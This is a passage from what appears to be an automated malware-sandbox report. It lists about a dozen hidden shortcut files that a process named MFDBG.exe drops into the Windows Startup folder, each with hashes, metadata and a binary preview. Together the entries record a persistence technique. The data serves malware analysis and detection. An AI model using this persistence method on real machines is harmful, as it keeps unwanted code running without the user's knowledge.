File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:47 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.911025433503579
Encrypted:	false
SSDEEP:	24:8wBfX8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8+UEvZ0yRO7DLO2zdxdRd1kyg
MD5:	E3D468A07767168AA364D827D9B2F396
SHA1:	B8F97FB4497CEADD2EAB75AB922A88847197AF92
SHA-256:	8A3C663FA2227EE79EA827E2C4D687EB991CB5BAA77DE3DE08002770D04E390D
SHA-512:	F6033DC08B1BB90569B9C870656CE24D9F41311ABD3464E748877B009231C7378E4478284F579A0DCB58FE0534AA528C20D5B30B29CBB16E02D0744ABED6E673
Malicious:	false
Preview:	L..................F....".......d......9d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...@g.9d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_40e8e66f6f5f454f830c63105cd778b4.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:03 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9245514714976295
Encrypted:	false
SSDEEP:	24:8QBfk8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8eJEvZ0yRO7DLO2zdxdRd1kyg
MD5:	7DABCBBFA64FC62B7B979CE5B918F6D7
SHA1:	30E6468BC36111F529434CA3F120C7FE12C09629
SHA-256:	041EA40843EB619F47C318E1792B1B7C36F8A4330586806838C4C3B6FD05BFB5
SHA-512:	98BEBB841027D22661A3B4A8BA06110076AFAD4E3A4A0A9B8AC1AF8686A3EE9C65322D52C5E913702B480B2E445B7B09B852CA0DCFE8F736D9C67DB61FE782F9
Malicious:	false
Preview:	L..................F....".......d..._..d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_40fdeba305c74ab88f8877c5c349f3a4.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:45 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.912643605410565
Encrypted:	false
SSDEEP:	24:84BfMYH8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:82UJEvZ0yRO7DLO2zdxdRd1kyg
MD5:	AA8C24C93944AC9A7B26F17AABA62D67
SHA1:	D9FCAE62C2E5261EEB5645CE4C9E127A408B4D60
SHA-256:	D9EFDAF7600902239A7A8922A9D9E2B0534AF0AEE9A46036A69AFAFF0C11B43C
SHA-512:	B94ECA3A483531A852AA2D4952BFFBABAFE29078EC1A91A3E3B4CF3980F654003E3AA4BBB17BDB799FA973DEAEBDD49A3ED49D19C7D0A44C5637843DEA557125
Malicious:	false
Preview:	L..................F....".......d...a.4\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4110fbc2a9a24799b424846e53bf2ecb.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:42 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.918528567023081
Encrypted:	false
SSDEEP:	24:83Bfk8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8RJEvZ0yRO7DLO2zdxdRd1kyg
MD5:	F11B0B045001237E07C38CB6975DDF05
SHA1:	2528B2E6E60F32DDDD38A23B0FA8EC1420B29840
SHA-256:	9E34DDC92BB3A5C78D7988A52DFCBEAD6988D10572B0FE7DA69D35E69C102748
SHA-512:	A5E0F07C09F0D8D657638AB7EB840EDDC97097A8AD26D5AAFA711322042E9F408DF044AB47A3DE20CF2B0EA786BF32FF9046B79FDB36E0EA4FE01CC879D7491C
Malicious:	false
Preview:	L..................F....".......d...<.`~d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...3bY~d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_414c8d90d7bf4038a28de19b75266a1a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:54 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.918921198787882
Encrypted:	false
SSDEEP:	24:8lBfMMQ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8nUEEvZ0yRO7DLO2zdxdRd1kyg
MD5:	64D655B0B1633509F9EFA157230B8F91
SHA1:	665AA1B4EA40A851C8B950CCA8BF4C2E6EE3CCA0
SHA-256:	B3E4A24F15CF3C16469181E4B6CEDDE3F2BAFE3DF1C608EAEF4ADF4D01E80D11
SHA-512:	372EA158E753E861D4BC5F1B11CED1FF6984D6A812E347C9FD83D4A9725FF690F522205AB9AC3CAB3684CC3047A0884CF6E59B9AFBB2F6093CE385F316446339
Malicious:	false
Preview:	L..................F....".......d......=d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...g`t=d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4155d6b509314764b9e68f209c1753ba.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:04 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.918233340593056
Encrypted:	false
SSDEEP:	24:8OBfEf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8kBEvZ0yRO7DLO2zdxdRd1kyg
MD5:	7DD44189C7F78F3998F2DAB260E4E8D9
SHA1:	2FB10DC6459FC1F357646CEEEA92DC88BEB0E15F
SHA-256:	27AFE090743C66CEE507B5D04C9CA264FEDB8826F3465F0C0C87E17AFDC11782
SHA-512:	99D95FB7743CF9D5B3364DB09E446D9101C07C52534A46828830FCC869C227DDCDE01DBDBB470C51E371C627E2A15C74724FC96BB98C22B1BCF1159AAA1E6AC1
Malicious:	false
Preview:	L..................F....".......d...#.M.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....F.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_41ba0acbe88b40cf809fc414601da6b5.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:39 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.924207542400216
Encrypted:	false
SSDEEP:	24:8z3BfJ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8zRGEvZ0yRO7DLO2zdxdRd1kyg
MD5:	976670A673B3C9408DD2AE853DCD862E
SHA1:	F8FEBAC034C2EFFD3F6DDC42C2B4DBE2D3253B01
SHA-256:	24071CD31E59DE58B12310A8279D4D8716AB9B66E116ABF298063002DCE65EF5
SHA-512:	08701ED331608885A6E8A34A339DC34610340D1A1A5B9A1F626CE712E731F535B3CE9A675EBFF9A35DB22DE4C4E60CD14146CC0E50E8F3919A2826D603D99AEC
Malicious:	false
Preview:	L..................F....".......d...\|..\|d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....X\|d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_41e771998a3d42459107096c082683ba.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:13 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921953885550347
Encrypted:	false
SSDEEP:	24:8mBfD8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8soEvZ0yRO7DLO2zdxdRd1kyg
MD5:	AE443A35546A6D86D14BDB1B249D9B3F
SHA1:	416FA02D21AB5816546169EC467C8CDC7DB7C0D6
SHA-256:	6DFD30F7C6197004EA7BBAEE65AD4964ABF1771DF91EC00C1C5E6D2BF9DB96B1
SHA-512:	AE2EE529B0A5959B8286984BC5B9B4AB2B8FE43A7D5CA34A285DFFCB7FEC3D2F0D8CFF24BE3A0967D82AAD5CB9A32644C0801AA690EAFE3AACA677D037B58B76
Malicious:	false
Preview:	L..................F....".......d....D%d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c..._W6%d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_42852e33a6874da9aea0a730db7a07e0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9305029142308126
Encrypted:	false
SSDEEP:	24:8SQBfOD8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8SebEvZ0yRO7DLO2zdxdRd1kyg
MD5:	6511A7B3D9EB7895272F8DDA2700A3CA
SHA1:	0BC0B6FC40E40323B800CDF2AC64BA9E32F31349
SHA-256:	E6D9ACB005D55381E1E311B9BF37261CB697A65AE9C3F726FD6058D5C2986003
SHA-512:	FB64CFD11430453D4557F718399B9F8F73976D7D059DDF57EE15E702744B6F2548A9365ED515E7C9FDEA4DBE52D1C9CD476F9863C306B89E5D671BA60F91799C
Malicious:	false
Preview:	L..................F....".......d....~d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....~d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_42e2f6256bc14d96987f9396ff0b3301.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:58 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.926342880441755
Encrypted:	false
SSDEEP:	24:8PBfT8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8ZYEvZ0yRO7DLO2zdxdRd1kyg
MD5:	3CAE7EE4FB4A6313A0C12EE041DDBC40
SHA1:	50652856A112B6CE70160940085A78E12C10DC73
SHA-256:	BB60A5390AEFD0B831EDAB7D62FA5B14B340AFA5F0C96E3542344A8BF119AF71
SHA-512:	C6AC292E5812F7DF851BB4668077061A608E402CEAD14BF6FBDB5A750CEADFEBC1F8BAC6755A146E5A39E26429178138E654B78E63322B32D164253D0C9BE16C
Malicious:	false
Preview:	L..................F....".......d....j..d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...1...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_42f35c5caf9d47c89b2408d45e466bb1.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:55 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.927387842377694
Encrypted:	false
SSDEEP:	24:8tBfi8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8fHEvZ0yRO7DLO2zdxdRd1kyg
MD5:	B7F195234CEDF9BF0E4A8399339571FB
SHA1:	627488109B342EDA513C0F7EA59C0A4C27B8B8F3
SHA-256:	930CFD88E2B9C85C9C310A3F7696014BDF7FDD71F5DDDF520725FB4E96C1CB88
SHA-512:	A795260B16C372733D1F328ED01A66FDBBD6AE0608B88EC55401A6649789DEE908F28F3085F6CF408FEDB66646EAE7F45491F815E5EC1B2AAE39991F05FC7D60
Malicious:	false
Preview:	L..................F....".......d....H>d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....<>d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_431c3b09a093492886dfae8495a104f9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:09 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.926546768860175
Encrypted:	false
SSDEEP:	24:8/QBf98EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8mCEvZ0yRO7DLO2zdxdRd1kyg
MD5:	A8464ACAFAA8B8E377FD0E718E637FB6
SHA1:	3AAC03F3465205A3D1FC8D16D1052525536E7443
SHA-256:	1D895E623A47E79F36231602C1863960716C74D11BC852904AF7D748048DADDB
SHA-512:	407E2246A8D4B8C2E51E6FCFEAB166F4620CD587AF9CBBDC8B59350F3E3CA237C28862BDEC845242D01C4289787469A64B886FBDF245ABF2CEEB151A7616432F
Malicious:	false
Preview:	L..................F....".......d......"d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...*."d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_431f20aebb464a7dafd02b01abed7f17.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923152694318305
Encrypted:	false
SSDEEP:	24:88aBfn8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8XUEvZ0yRO7DLO2zdxdRd1kyg
MD5:	84CF734FABDC6DD91A001C0A96A8DE47
SHA1:	08854F2D2E5B95213B438ADAA2B20F86158F1B87
SHA-256:	D29E05E3861668AE7442374E0E00ACC21C05B72252D961A0E6FCCA29E2A9ADF6
SHA-512:	7A51A30893C928BF1E48ED1E8DFEC8433B959575814E7722904E00FB0DCABFA8635BCB1D6C40B21CE51DEB0AED7B0F7BCF4694A8EA57FA347AC77D23C7017E40
Malicious:	false
Preview:	L..................F....".......d......~d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...l..~d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_437c5f910d80453887604fbfe53cb29d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
